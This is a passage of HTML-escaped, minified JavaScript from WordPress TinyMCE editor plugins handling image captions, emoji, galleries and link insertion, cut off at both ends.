&quot;+(a=(a=a.replace(/\r\n|\r/g,&quot;\n&quot;).replace(/&lt;[a-zA-Z0-9]+( [^&lt;&gt;]+)?&gt;/g,function(e){return e.replace(/[\r\n\t]+/,&quot; &quot;)})).replace(/\s*\n\s*/g,&quot;&lt;br /&gt;&quot;))+&quot;[/caption]&quot;:&quot;alignnone&quot;!==o[0]?n.replace(/&gt;&lt;img/,&#039; class=&quot;&#039;+o[0]+&#039;&quot;&gt;&lt;img&#039;):n})).indexOf(&quot;[caption&quot;)?t.replace(/[\s\S]*?((?:&lt;a [^&gt;]+&gt;)?&lt;img [^&gt;]+&gt;(?:&lt;\/a&gt;)?)(&lt;p&gt;[\s\S]*&lt;\/p&gt;)?[\s\S]*/gi,&quot;&lt;p&gt;$1&lt;/p&gt;$2&quot;):n})}function h(e){return e&amp;&amp;(e.textContent||e.innerText).replace(/\ufeff/g,&quot;&quot;)}function m(e){var t=g.dom.getParent(e,&quot;div.mceTemp&quot;);(t=t||&quot;IMG&quot;!==e.nodeName?t:g.dom.getParent(e,&quot;a&quot;))?(t.nextSibling?g.selection.select(t.nextSibling):t.previousSibling?g.selection.select(t.previousSibling):g.selection.select(t.parentNode),g.selection.collapse(!0),g.dom.remove(t)):g.dom.remove(e),g.nodeChanged(),g.undoManager.add()}return g.addButton(&quot;wp_img_remove&quot;,{tooltip:&quot;Remove&quot;,icon:&quot;dashicon dashicons-no&quot;,onclick:function(){m(g.selection.getNode())}}),g.addButton(&quot;wp_img_edit&quot;,{tooltip:&quot;Edit|button&quot;,icon:&quot;dashicon dashicons-edit&quot;,onclick:function(){var e,t,n,p;e=g.selection.getNode(),&quot;undefined&quot;!=typeof wp&amp;&amp;wp.media?(n=function(e){var t,n,a,i,o=[],r=g.dom,c=/^\d+$/;(n={attachment_id:!1,size:&quot;custom&quot;,caption:&quot;&quot;,align:&quot;none&quot;,extraClasses:&quot;&quot;,link:!1,linkUrl:&quot;&quot;,linkClassName:&quot;&quot;,linkTargetBlank:!1,linkRel:&quot;&quot;,title:&quot;&quot;}).url=r.getAttrib(e,&quot;src&quot;),n.alt=r.getAttrib(e,&quot;alt&quot;),n.title=r.getAttrib(e,&quot;title&quot;),a=r.getAttrib(e,&quot;width&quot;),i=r.getAttrib(e,&quot;height&quot;),(!c.test(a)||parseInt(a,10)&lt;1)&amp;&amp;(a=e.naturalWidth||e.width);(!c.test(i)||parseInt(i,10)&lt;1)&amp;&amp;(i=e.naturalHeight||e.height);n.customWidth=n.width=a,n.customHeight=n.height=i,c=tinymce.explode(e.className,&quot; &quot;),t=[],tinymce.each(c,function(e){/^wp-image/.test(e)?n.attachment_id=parseInt(e.replace(&quot;wp-image-&quot;,&quot;&quot;),10):/^align/.test(e)?n.align=e.replace(&quot;align&quot;,&quot;&quot;):/^size/.test(e)?n.size=e.replace(&quot;size-&quot;,&quot;&quot;):t.push(e)}),n.extraClasses=t.join(&quot; &quot;),(a=r.getParents(e,&quot;.wp-caption&quot;)).length&amp;&amp;(a=a[0],c=a.className.split(&quot; &quot;),tinymce.each(c,function(e){/^align/.test(e)?n.align=e.replace(&quot;align&quot;,&quot;&quot;):e&amp;&amp;&quot;wp-caption&quot;!==e&amp;&amp;o.push(e)}),n.captionClassName=o.join(&quot; &quot;),(i=r.select(&quot;dd.wp-caption-dd&quot;,a)).length)&amp;&amp;(i=i[0],n.caption=g.serializer.serialize(i).replace(/&lt;br[^&gt;]*&gt;/g,&quot;$&amp;\n&quot;).replace(/^&lt;p&gt;/,&quot;&quot;).replace(/&lt;\/p&gt;$/,&quot;&quot;));e.parentNode&amp;&amp;&quot;A&quot;===e.parentNode.nodeName&amp;&amp;(c=e.parentNode,n.linkUrl=r.getAttrib(c,&quot;href&quot;),n.linkTargetBlank=&quot;_blank&quot;===r.getAttrib(c,&quot;target&quot;),n.linkRel=r.getAttrib(c,&quot;rel&quot;),n.linkClassName=c.className);return n}(e),g.$(e).attr(&quot;data-wp-editing&quot;,1),wp.media.events.trigger(&quot;editor:image-edit&quot;,{editor:g,metadata:n,image:e}),t=wp.media({frame:&quot;image&quot;,state:&quot;image-details&quot;,metadata:n}),wp.media.events.trigger(&quot;editor:frame-create&quot;,{frame:t}),e=function(m){g.undoManager.transact(function(){var e,t,n,a,i,o,r,c,d,l,s;e=p,t=m,s=g.dom,e&amp;&amp;e.length&amp;&amp;(a=e[0],r=(r=tinymce.explode(t.extraClasses,&quot; &quot;))||[],t.caption||r.push(&quot;align&quot;+t.align),t.attachment_id&amp;&amp;(r.push(&quot;wp-image-&quot;+t.attachment_id),t.size)&amp;&amp;&quot;custom&quot;!==t.size&amp;&amp;r.push(&quot;size-&quot;+t.size),l=t.width,c=t.height,&quot;custom&quot;===t.size&amp;&amp;(l=t.customWidth,c=t.customHeight),c={src:t.url,width:l||null,height:c||null,title:t.title||null,class:r.join(&quot; &quot;)||null},s.setAttribs(a,c),e.attr(&quot;alt&quot;,t.alt||&quot;&quot;),r={href:t.linkUrl,rel:t.linkRel||null,target:t.linkTargetBlank?&quot;_blank&quot;:null,class:t.linkClassName||null},a.parentNode&amp;&amp;&quot;A&quot;===a.parentNode.nodeName&amp;&amp;!h(a.parentNode)?t.linkUrl?s.setAttribs(a.parentNode,r):s.remove(a.parentNode,!0):t.linkUrl&amp;&amp;((c=s.getParent(a,&quot;a&quot;))&amp;&amp;s.insertAfter(a,c),c=s.create(&quot;a&quot;,r),a.parentNode.insertBefore(c,a),c.appendChild(a)),r=g.dom.getParent(a,&quot;.mceTemp&quot;),c=a.parentNode&amp;&amp;&quot;A&quot;===a.parentNode.nodeName&amp;&amp;!h(a.parentNode)?a.parentNode:a,t.caption?(t.caption=function(e){if(!e||-1===e.indexOf(&quot;&lt;&quot;)&amp;&amp;-1===e.indexOf(&quot;&gt;&quot;))return e;u=u||new tinymce.html.Serializer({},g.schema);return u.serialize(g.parser.parse(e,{forced_root_block:!1}))}(t.caption),o=t.attachment_id?&quot;attachment_&quot;+t.attachment_id:null,d=&quot;wp-caption &quot;+(&quot;align&quot;+(t.align||&quot;none&quot;)),t.captionClassName&amp;&amp;(d+=&quot; &quot;+t.captionClassName.replace(/[&lt;&gt;&amp;]+/g,&quot;&quot;)),g.getParam(&quot;wpeditimage_html5_captions&quot;)||(l=parseInt(l,10),l+=10),r?((i=s.select(&quot;dl.wp-caption&quot;,r)).length&amp;&amp;s.setAttribs(i,{id:o,class:d,style:&quot;width: &quot;+l+&quot;px&quot;}),(i=s.select(&quot;.wp-caption-dd&quot;,r)).length&amp;&amp;s.setHTML(i[0],t.caption)):(i=&quot;&lt;dl &quot;+(o=o?&#039;id=&quot;&#039;+o+&#039;&quot; &#039;:&quot;&quot;)+&#039;class=&quot;&#039;+d+&#039;&quot; style=&quot;width: &#039;+l+&#039;px&quot;&gt;&lt;dt class=&quot;wp-caption-dt&quot;&gt;&lt;/dt&gt;&lt;dd class=&quot;wp-caption-dd&quot;&gt;&#039;+t.caption+&quot;&lt;/dd&gt;&lt;/dl&gt;&quot;,o=s.create(&quot;div&quot;,{class:&quot;mceTemp&quot;},i),(n=s.getParent(c,&quot;p&quot;))?n.parentNode.insertBefore(o,n):c.parentNode.insertBefore(o,c),g.$(o).find(&quot;dt.wp-caption-dt&quot;).append(c),n&amp;&amp;s.isEmpty(n)&amp;&amp;s.remove(n))):r&amp;&amp;(n=s.create(&quot;p&quot;),r.parentNode.insertBefore(n,r),n.appendChild(c),s.remove(r)),e=g.$(a),d=e.attr(&quot;srcset&quot;),l=e.attr(&quot;src&quot;),d&amp;&amp;l&amp;&amp;(l=l.replace(/[?#].*/,&quot;&quot;),-1===d.indexOf(l))&amp;&amp;e.attr(&quot;srcset&quot;,null).attr(&quot;sizes&quot;,null),wp.media.events&amp;&amp;wp.media.events.trigger(&quot;editor:image-update&quot;,{editor:g,metadata:t,image:a}),g.nodeChanged())}),t.detach()},t.state(&quot;image-details&quot;).on(&quot;update&quot;,e),t.state(&quot;replace-image&quot;).on(&quot;replace&quot;,e),t.on(&quot;close&quot;,function(){g.focus(),t.detach(),(p=g.$(&quot;img[data-wp-editing]&quot;)).removeAttr(&quot;data-wp-editing&quot;)}),t.open()):g.execCommand(&quot;mceImage&quot;)}}),e({alignleft:&quot;Align left&quot;,aligncenter:&quot;Align center&quot;,alignright:&quot;Align right&quot;,alignnone:&quot;No alignment&quot;},function(e,n){var t=n.slice(5);g.addButton(&quot;wp_img_&quot;+n,{tooltip:e,icon:&quot;dashicon dashicons-align-&quot;+t,cmd:&quot;alignnone&quot;===n?&quot;wpAlignNone&quot;:&quot;Justify&quot;+t.slice(0,1).toUpperCase()+t.slice(1),onPostRender:function(){var t=this;g.on(&quot;NodeChange&quot;,function(e){&quot;IMG&quot;===e.element.nodeName&amp;&amp;(e=g.dom.getParent(e.element,&quot;.wp-caption&quot;)||e.element,&quot;alignnone&quot;===n?t.active(!/\balign(left|center|right)\b/.test(e.className)):t.active(g.dom.hasClass(e,n)))})}})}),g.once(&quot;preinit&quot;,function(){g.wp&amp;&amp;g.wp._createToolbar&amp;&amp;(r=g.wp._createToolbar([&quot;wp_img_alignleft&quot;,&quot;wp_img_aligncenter&quot;,&quot;wp_img_alignright&quot;,&quot;wp_img_alignnone&quot;,&quot;wp_img_edit&quot;,&quot;wp_img_remove&quot;]))}),g.on(&quot;wptoolbar&quot;,function(e){&quot;IMG&quot;!==e.element.nodeName||i(e.element)||(e.toolbar=r)}),t&amp;&amp;g.on(&quot;init&quot;,function(){g.on(&quot;touchstart&quot;,function(e){&quot;IMG&quot;!==e.target.nodeName||o(e.target)||(n=!0)}),g.dom.bind(g.getDoc(),&quot;touchmove&quot;,function(){n=!1}),g.on(&quot;touchend&quot;,function(e){var t;n&amp;&amp;&quot;IMG&quot;===e.target.nodeName&amp;&amp;!o(e.target)?(t=e.target,n=!1,window.setTimeout(function(){g.selection.select(t),g.nodeChanged()},100)):r&amp;&amp;r.hide()})}),g.on(&quot;init&quot;,function(){var t=g.dom,e=g.getParam(&quot;wpeditimage_html5_captions&quot;)?&quot;html5-captions&quot;:&quot;html4-captions&quot;;t.addClass(g.getBody(),e),tinymce.Env.ie&amp;&amp;10&lt;tinymce.Env.ie&amp;&amp;t.bind(g.getBody(),&quot;mscontrolselect&quot;,function(e){&quot;IMG&quot;===e.target.nodeName&amp;&amp;t.getParent(e.target,&quot;.wp-caption&quot;)?g.getBody().focus():&quot;DL&quot;===e.target.nodeName&amp;&amp;t.hasClass(e.target,&quot;wp-caption&quot;)&amp;&amp;e.target.focus()})}),g.on(&quot;ObjectResized&quot;,function(a){var i=a.target;&quot;IMG&quot;===i.nodeName&amp;&amp;g.undoManager.transact(function(){var e,t,n=g.dom;i.className=i.className.replace(/\bsize-[^ ]+/,&quot;&quot;),(e=n.getParent(i,&quot;.wp-caption&quot;))&amp;&amp;(t=a.width||n.getAttrib(i,&quot;width&quot;))&amp;&amp;(t=parseInt(t,10),g.getParam(&quot;wpeditimage_html5_captions&quot;)||(t+=10),n.setStyle(e,&quot;width&quot;,t+&quot;px&quot;))})}),g.on(&quot;pastePostProcess&quot;,function(e){g.dom.getParent(g.selection.getNode(),&quot;dd.wp-caption-dd&quot;)&amp;&amp;(g.$(&quot;img, audio, video, object, embed, iframe, script, style&quot;,e.node).remove(),g.$(&quot;*&quot;,e.node).each(function(e,t){g.dom.isBlock(t)&amp;&amp;(tinymce.trim(t.textContent||t.innerText)?(g.dom.insertAfter(g.dom.create(&quot;br&quot;),t),g.dom.remove(t,!0)):g.dom.remove(t))}),g.$(&quot;br&quot;,e.node).each(function(e,t){t.nextSibling&amp;&amp;&quot;BR&quot;!==t.nextSibling.nodeName&amp;&amp;t.previousSibling&amp;&amp;&quot;BR&quot;!==t.previousSibling.nodeName||g.dom.remove(t)}),c=!0)}),g.on(&quot;BeforeExecCommand&quot;,function(e){var t,n,a,i=e.command,o=g.dom;if(&quot;mceInsertContent&quot;===i||&quot;Indent&quot;===i||&quot;Outdent&quot;===i){if(t=g.selection.getNode(),a=o.getParent(t,&quot;div.mceTemp&quot;)){if(&quot;mceInsertContent&quot;!==i)return e.preventDefault(),e.stopImmediatePropagation(),!1;c?c=!1:(n=o.create(&quot;p&quot;),o.insertAfter(n,a),g.selection.setCursorLocation(n,0),&quot;IMG&quot;===t.nodeName&amp;&amp;g.$(a).remove(),g.nodeChanged())}}else&quot;JustifyLeft&quot;!==i&amp;&amp;&quot;JustifyRight&quot;!==i&amp;&amp;&quot;JustifyCenter&quot;!==i&amp;&amp;&quot;wpAlignNone&quot;!==i||(t=g.selection.getNode(),o=&quot;align&quot;+i.slice(7).toLowerCase(),n=g.dom.getParent(t,&quot;.wp-caption&quot;),&quot;IMG&quot;!==t.nodeName&amp;&amp;!n)||(a=g.dom.hasClass(t=n||t,o)?&quot; alignnone&quot;:&quot; &quot;+o,t.className=l(t.className.replace(/ ?align(left|center|right|none)/g,&quot;&quot;)+a),g.nodeChanged(),e.preventDefault(),r&amp;&amp;r.reposition(),g.fire(&quot;ExecCommand&quot;,{command:i,ui:e.ui,value:e.value}))}),g.on(&quot;keydown&quot;,function(e){var t,n,a,i=g.selection,o=e.keyCode,r=g.dom,c=tinymce.util.VK;if(o===c.ENTER)t=i.getNode(),(n=r.getParent(t,&quot;div.mceTemp&quot;))&amp;&amp;(r.events.cancel(e),tinymce.each(r.select(&quot;dt, dd&quot;,n),function(e){r.isEmpty(e)&amp;&amp;r.remove(e)}),a=tinymce.Env.ie&amp;&amp;tinymce.Env.ie&lt;11?&quot;&quot;:&#039;&lt;br data-mce-bogus=&quot;1&quot; /&gt;&#039;,a=r.create(&quot;p&quot;,null,a),&quot;DD&quot;===t.nodeName?r.insertAfter(a,n):n.parentNode.insertBefore(a,n),g.nodeChanged(),i.setCursorLocation(a,0));else if((o===c.DELETE||o===c.BACKSPACE)&amp;&amp;(&quot;DIV&quot;===(t=i.getNode()).nodeName&amp;&amp;r.hasClass(t,&quot;mceTemp&quot;)?n=t:&quot;IMG&quot;!==t.nodeName&amp;&amp;&quot;DT&quot;!==t.nodeName&amp;&amp;&quot;A&quot;!==t.nodeName||(n=r.getParent(t,&quot;div.mceTemp&quot;)),n))return r.events.cancel(e),m(t),!1}),tinymce.Env.gecko&amp;&amp;g.on(&quot;undo redo&quot;,function(){&quot;IMG&quot;===g.selection.getNode().nodeName&amp;&amp;g.selection.collapse()}),g.wpSetImgCaption=d,g.wpGetImgCaption=s,g.on(&quot;beforeGetContent&quot;,function(e){&quot;raw&quot;!==e.format&amp;&amp;g.$(&#039;img[id=&quot;__wp-temp-img-id&quot;]&#039;).removeAttr(&quot;id&quot;)}),g.on(&quot;BeforeSetContent&quot;,function(e){&quot;raw&quot;!==e.format&amp;&amp;(e.content=g.wpSetImgCaption(e.content))}),g.on(&quot;PostProcess&quot;,function(e){e.get&amp;&amp;(e.content=g.wpGetImgCaption(e.content))}),g.on(&quot;dragstart&quot;,function(){var e=g.selection.getNode();&quot;IMG&quot;!==e.nodeName||(a=g.dom.getParent(e,&quot;.mceTemp&quot;))||&quot;A&quot;!==e.parentNode.nodeName||h(e.parentNode)||(a=e.parentNode)}),g.on(&quot;drop&quot;,function(e){var t=g.dom,n=tinymce.dom.RangeUtils.getCaretRangeFromPoint(e.clientX,e.clientY,g.getDoc());n&amp;&amp;t.getParent(n.startContainer,&quot;.mceTemp&quot;)?e.preventDefault():a&amp;&amp;(e.preventDefault(),g.undoManager.transact(function(){n&amp;&amp;g.selection.setRng(n),g.selection.setNode(a),t.remove(a)})),a=null}),g.wp=g.wp||{},g.wp.isPlaceholder=i,{_do_shcode:d,_get_shcode:s}});
// Source: wp-includes/js/tinymce/plugins/wpemoji/plugin.min.js
!function(m){m.PluginManager.add(&quot;wpemoji&quot;,function(n){var t,o=window.wp,e=window._wpemojiSettings,i=m.Env,a=window.navigator.userAgent,w=-1&lt;a.indexOf(&quot;Windows&quot;),a=!!((a=a.match(/Windows NT 6\.(\d)/))&amp;&amp;1&lt;a[1]);function d(e){o.emoji.parse(e,{imgAttr:{&quot;data-mce-resize&quot;:&quot;false&quot;,&quot;data-mce-placeholder&quot;:&quot;1&quot;,&quot;data-wp-emoji&quot;:&quot;1&quot;}})}function c(e){var t,o;e&amp;&amp;window.twemoji&amp;&amp;window.twemoji.test(e.textContent||e.innerText)&amp;&amp;(i.webkit&amp;&amp;(o=(t=n.selection).getBookmark()),d(e),i.webkit)&amp;&amp;t.moveToBookmark(o)}o&amp;&amp;o.emoji&amp;&amp;!e.supports.everything&amp;&amp;(a?n.on(&quot;keyup&quot;,function(e){231===e.keyCode&amp;&amp;c(n.selection.getNode())}):w||(n.on(&quot;keydown keyup&quot;,function(e){t=&quot;keydown&quot;===e.type}),n.on(&quot;input&quot;,function(){t||c(n.selection.getNode())})),n.on(&quot;setcontent&quot;,function(e){var t=n.selection,o=t.getNode();window.twemoji&amp;&amp;window.twemoji.test(o.textContent||o.innerText)&amp;&amp;(d(o),i.ie)&amp;&amp;i.ie&lt;9&amp;&amp;e.load&amp;&amp;o&amp;&amp;&quot;BODY&quot;===o.nodeName&amp;&amp;t.collapse(!0)}),n.on(&quot;PastePostProcess&quot;,function(e){window.twemoji&amp;&amp;m.each(n.dom.$(&quot;img.emoji&quot;,e.node),function(e){e.alt&amp;&amp;window.twemoji.test(e.alt)&amp;&amp;((e=e).className=&quot;emoji&quot;,e.setAttribute(&quot;data-mce-resize&quot;,&quot;false&quot;),e.setAttribute(&quot;data-mce-placeholder&quot;,&quot;1&quot;),e.setAttribute(&quot;data-wp-emoji&quot;,&quot;1&quot;))})}),n.on(&quot;postprocess&quot;,function(e){e.content&amp;&amp;(e.content=e.content.replace(/&lt;img[^&gt;]+data-wp-emoji=&quot;[^&gt;]+&gt;/g,function(e){var t=e.match(/alt=&quot;([^&quot;]+)&quot;/);return t&amp;&amp;t[1]?t[1]:e}))}),n.on(&quot;resolvename&quot;,function(e){&quot;IMG&quot;===e.target.nodeName&amp;&amp;n.dom.getAttrib(e.target,&quot;data-wp-emoji&quot;)&amp;&amp;e.preventDefault()}))})}(window.tinymce);
// Source: wp-includes/js/tinymce/plugins/wpgallery/plugin.min.js
tinymce.PluginManager.add(&quot;wpgallery&quot;,function(d){function t(e){return e.replace(/\[gallery([^\]]*)\]/g,function(e){return t=&quot;wp-gallery&quot;,n=e,n=window.encodeURIComponent(e),&#039;&lt;img src=&quot;&#039;+tinymce.Env.transparentSrc+&#039;&quot; class=&quot;wp-media mceItem &#039;+t+&#039;&quot; data-wp-media=&quot;&#039;+n+&#039;&quot; data-mce-resize=&quot;false&quot; data-mce-placeholder=&quot;1&quot; alt=&quot;&quot; /&gt;&#039;;var t,n})}function n(e){return e.replace(/(?:&lt;p(?: [^&gt;]+)?&gt;)*(&lt;img [^&gt;]+&gt;)(?:&lt;\/p&gt;)*/g,function(e,t){t=t,n=&quot;data-wp-media&quot;;var n,t=(n=new RegExp(n+&#039;=&quot;([^&quot;]+)&quot;&#039;).exec(t))?window.decodeURIComponent(n[1]):&quot;&quot;;return t?&quot;&lt;p&gt;&quot;+t+&quot;&lt;/p&gt;&quot;:e})}function o(t){var n,a,e;&quot;IMG&quot;===t.nodeName&amp;&amp;&quot;undefined&quot;!=typeof wp&amp;&amp;wp.media&amp;&amp;(e=window.decodeURIComponent(d.dom.getAttrib(t,&quot;data-wp-media&quot;)),d.dom.hasClass(t,&quot;wp-gallery&quot;))&amp;&amp;wp.media.gallery&amp;&amp;(n=wp.media.gallery,(a=n.edit(e)).state(&quot;gallery-edit&quot;).on(&quot;update&quot;,function(e){e=n.shortcode(e).string();d.dom.setAttrib(t,&quot;data-wp-media&quot;,window.encodeURIComponent(e)),a.detach()}))}d.addCommand(&quot;WP_Gallery&quot;,function(){o(d.selection.getNode())}),d.on(&quot;mouseup&quot;,function(e){var t=d.dom,n=e.target;function a(){t.removeClass(t.select(&quot;img.wp-media-selected&quot;),&quot;wp-media-selected&quot;)}&quot;IMG&quot;===n.nodeName&amp;&amp;t.getAttrib(n,&quot;data-wp-media&quot;)?2!==e.button&amp;&amp;(t.hasClass(n,&quot;wp-media-selected&quot;)?o(n):(a(),t.addClass(n,&quot;wp-media-selected&quot;))):a()}),d.on(&quot;ResolveName&quot;,function(e){var t=d.dom,n=e.target;&quot;IMG&quot;===n.nodeName&amp;&amp;t.getAttrib(n,&quot;data-wp-media&quot;)&amp;&amp;t.hasClass(n,&quot;wp-gallery&quot;)&amp;&amp;(e.name=&quot;gallery&quot;)}),d.on(&quot;BeforeSetContent&quot;,function(e){d.plugins.wpview&amp;&amp;&quot;undefined&quot;!=typeof wp&amp;&amp;wp.mce||(e.content=t(e.content))}),d.on(&quot;PostProcess&quot;,function(e){e.get&amp;&amp;(e.content=n(e.content))})});
// Source: wp-includes/js/tinymce/plugins/wplink/plugin.min.js
!function(L){L.ui.Factory.add(&quot;WPLinkPreview&quot;,L.ui.Control.extend({url:&quot;#&quot;,renderHtml:function(){return&#039;&lt;div id=&quot;&#039;+this._id+&#039;&quot; class=&quot;wp-link-preview&quot;&gt;&lt;a href=&quot;&#039;+this.url+&#039;&quot; target=&quot;_blank&quot; tabindex=&quot;-1&quot;&gt;&#039;+this.url+&quot;&lt;/a&gt;&lt;/div&gt;&quot;},setURL:function(e){var t,n;this.url!==e&amp;&amp;(this.url=e,40&lt;(e=&quot;&quot;===(e=&quot;/&quot;===(e=(e=-1!==(t=(e=-1!==(t=(e=(e=window.decodeURIComponent(e)).replace(/^(?:https?:)?\/\/(?:www\.)?/,&quot;&quot;)).indexOf(&quot;?&quot;))?e.slice(0,t):e).indexOf(&quot;#&quot;))?e.slice(0,t):e).replace(/(?:index)?\.html$/,&quot;&quot;)).charAt(e.length-1)?e.slice(0,-1):e)?this.url:e).length&amp;&amp;-1!==(t=e.indexOf(&quot;/&quot;))&amp;&amp;-1!==(n=e.lastIndexOf(&quot;/&quot;))&amp;&amp;n!==t&amp;&amp;(t+e.length-n&lt;40&amp;&amp;(n=-(40-(t+1))),e=e.slice(0,t+1)+&quot;\u2026&quot;+e.slice(n)),L.$(this.getEl().firstChild).attr(&quot;href&quot;,this.url).text(e))}})),L.ui.Factory.add(&quot;WPLinkInput&quot;,L.ui.Control.extend({renderHtml:function(){return&#039;&lt;div id=&quot;&#039;+this._id+&#039;&quot; class=&quot;wp-link-input&quot;&gt;&lt;label for=&quot;&#039;+this._id+&#039;_label&quot;&gt;&#039;+L.translate(&quot;Paste URL or type to search&quot;)+&#039;&lt;/label&gt;&lt;input id=&quot;&#039;+this._id+&#039;_label&quot; type=&quot;text&quot; value=&quot;&quot; /&gt;&lt;input type=&quot;text&quot; style=&quot;display:none&quot; value=&quot;&quot; /&gt;&lt;/div&gt;&#039;},setURL:function(e){this.getEl().firstChild.nextSibling.value=e},getURL:function(){return L.trim(this.getEl().firstChild.nextSibling.value)},getLinkText:function(){var e=this.getEl().firstChild.nextSibling.nextSibling.value;return L.trim(e)?e.replace(/[\r\n\t ]+/g,&quot; &quot;):&quot;&quot;},reset:function(){var e=this.getEl().firstChild.nextSibling;e.value=&quot;&quot;,e.nextSibling.value=&quot;&quot;}})),L.PluginManager.add(&quot;wplink&quot;,function(l){var a,r,d,c,i,n,t,p=window.jQuery,o=/^(mailto:)?[a-z0-9._%+-]+@[a-z0-9][a-z0-9.-]*\.[a-z]{2,63}$/i,s=/^https?:\/\/([^\s/?.#-][^\s\/?.#]*\.?)+(\/[^\s&quot;]*)?$/i,u=/^https?:\/\/[^\/]+\.[^\/]+($|\/)/i,w=void 0!==window.wp&amp;&amp;window.wp.a11y&amp;&amp;window.wp.a11y.speak?window.wp.a11y.speak:function(){},k=!1,m=window.wp.i18n.__,f=window.wp.i18n._n,h=window.wp.i18n.sprintf;function _(){l.$(&quot;a&quot;).each(function(e,t){var n=l.$(t);&quot;_wp_link_placeholder&quot;===n.attr(&quot;href&quot;)?l.dom.remove(t,!0):n.attr(&quot;data-wplink-edit&quot;)&amp;&amp;n.attr(&quot;data-wplink-edit&quot;,null)})}function v(e,i){return e.replace(/(&lt;a [^&gt;]+&gt;)([\s\S]*?)&lt;\/a&gt;/g,function(e,t,n){return-1&lt;t.indexOf(&#039; href=&quot;_wp_link_placeholder&quot;&#039;)?n:(t=(t=i?t.replace(/ data-wplink-edit=&quot;true&quot;/g,&quot;&quot;):t).replace(/ data-wplink-url-error=&quot;true&quot;/g,&quot;&quot;))+n+&quot;&lt;/a&gt;&quot;})}function g(e){var e=l.$(e),t=e.attr(&quot;href&quot;);t&amp;&amp;void 0!==p&amp;&amp;(k=!1,!/^http/i.test(t)||s.test(t)&amp;&amp;u.test(t)?e.removeAttr(&quot;data-wplink-url-error&quot;):(k=!0,e.attr(&quot;data-wplink-url-error&quot;,&quot;true&quot;),w(l.translate(&quot;Warning: the link has been inserted but may have errors. Please test it.&quot;),&quot;assertive&quot;)))}return l.on(&quot;preinit&quot;,function(){var e;l.wp&amp;&amp;l.wp._createToolbar&amp;&amp;(a=l.wp._createToolbar([&quot;wp_link_preview&quot;,&quot;wp_link_edit&quot;,&quot;wp_link_remove&quot;],!0),e=[&quot;wp_link_input&quot;,&quot;wp_link_apply&quot;],void 0!==window.wpLink&amp;&amp;e.push(&quot;wp_link_advanced&quot;),(r=l.wp._createToolbar(e,!0)).on(&quot;show&quot;,function(){void 0!==window.wpLink&amp;&amp;window.wpLink.modalOpen||window.setTimeout(function(){var e=r.$el.find(&quot;input.ui-autocomplete-input&quot;)[0],t=i&amp;&amp;(i.textContent||i.innerText);e&amp;&amp;(!e.value&amp;&amp;t&amp;&amp;void 0!==window.wpLink&amp;&amp;(e.value=window.wpLink.getUrlFromSelection(t)),n||(e.focus(),e.select()))})}),r.on(&quot;hide&quot;,function(){r.scrolling||l.execCommand(&quot;wp_link_cancel&quot;)}))}),l.addCommand(&quot;WP_Link&quot;,function(){var e,t,n;L.Env.ie&amp;&amp;L.Env.ie&lt;10&amp;&amp;void 0!==window.wpLink?window.wpLink.open(l.id):(t=l.selection.getStart(),(n=l.dom.getParent(t,&quot;a[href]&quot;))||(e=l.selection.getContent({format:&quot;raw&quot;}))&amp;&amp;-1!==e.indexOf(&quot;&lt;/a&gt;&quot;)&amp;&amp;(n=(e=e.match(/href=&quot;([^&quot;&gt;]+)&quot;/))&amp;&amp;e[1]?l.$(&#039;a[href=&quot;&#039;+e[1]+&#039;&quot;]&#039;,t)[0]:n)&amp;&amp;l.selection.select(n),i=n,r.tempHide=!1,i||(_(),l.execCommand(&quot;mceInsertLink&quot;,!1,{href:&quot;_wp_link_placeholder&quot;}),i=l.$(&#039;a[href=&quot;_wp_link_placeholder&quot;]&#039;)[0],l.nodeChanged()),l.dom.setAttribs(i,{&quot;data-wplink-edit&quot;:!0}))}),l.addCommand(&quot;wp_link_apply&quot;,function(){if(!r.scrolling){var e,t;if(i){e=c.getURL(),t=c.getLinkText(),l.focus();var n=document.createElement(&quot;a&quot;);if(n.href=e,!(e=&quot;javascript:&quot;!==n.protocol&amp;&amp;&quot;data:&quot;!==n.protocol?e:&quot;&quot;))return void l.dom.remove(i,!0);/^(?:[a-z]+:|#|\?|\.|\/)/.test(e)||o.test(e)||(e=&quot;http://&quot;+e),l.dom.setAttribs(i,{href:e,&quot;data-wplink-edit&quot;:null}),L.trim(i.innerHTML)||l.$(i).text(t||e),g(i)}c.reset(),l.nodeChanged(),void 0===window.wpLinkL10n||k||w(window.wpLinkL10n.linkInserted)}}),l.addCommand(&quot;wp_link_cancel&quot;,function(){c.reset(),r.tempHide||_()}),l.addCommand(&quot;wp_unlink&quot;,function(){l.execCommand(&quot;unlink&quot;),r.tempHide=!1,l.execCommand(&quot;wp_link_cancel&quot;)}),l.addShortcut(&quot;access+a&quot;,&quot;&quot;,&quot;WP_Link&quot;),l.addShortcut(&quot;access+s&quot;,&quot;&quot;,&quot;wp_unlink&quot;),l.addShortcut(&quot;meta+k&quot;,&quot;&quot;,&quot;WP_Link&quot;),l.addButton(&quot;link&quot;,{icon:&quot;link&quot;,tooltip:&quot;Insert/edit link&quot;,cmd:&quot;WP_Link&quot;,stateSelector:&quot;a[href]&quot;}),l.addButton(&quot;unlink&quot;,{icon:&quot;unlink&quot;,tooltip:&quot;Remove link&quot;,cmd:&quot;unlink&quot;}),l.addMenuItem(&quot;link&quot;,{icon:&quot;link&quot;,text:&quot;Insert/edit link&quot;,cmd:&quot;WP_Link&quot;,stateSelector:&quot;a[href]&quot;,context:&quot;insert&quot;,prependToContext:!0}),l.on(&quot;pastepreprocess&quot;,function(e){var t=e.content,n=/^(?:https?:)?\/\/\S+$/i;l.selection.isCollapsed()||n.test(l.selection.getContent())||(t=t.replace(/&lt;[^&gt;]+&gt;/g,&quot;&quot;),t=L.trim(t),n.test(t)&amp;&amp;(l.execCommand(&quot;mceInsertLink&quot;,!1,{href:l.dom.decode(t)}),e.preventDefault()))}),l.on(&quot;savecontent&quot;,function(e){e.content=v(e.content,!0)}),l.on(&quot;BeforeAddUndo&quot;,function(e){e.lastLevel&amp;&amp;e.lastLevel.content&amp;&amp;e.level.content&amp;&amp;e.lastLevel.content===v(e.level.content)&amp;&amp;e.preventDefault()}),l.on(&quot;keydown&quot;,function(e){27===e.keyCode&amp;&amp;l.execCommand(&quot;wp_link_cancel&quot;),e.altKey||L.Env.mac&amp;&amp;(!e.metaKey||e.ctrlKey)||!L.Env.mac&amp;&amp;!e.ctrlKey||89!==e.keyCode&amp;&amp;90!==e.keyCode||(n=!0,window.clearTimeout(t),t=window.setTimeout(function(){n=!1},500))}),l.addButton(&quot;wp_link_preview&quot;,{type:&quot;WPLinkPreview&quot;,onPostRender:function(){d=this}}),l.addButton(&quot;wp_link_input&quot;,{type:&quot;WPLinkInput&quot;,onPostRender:function(){var 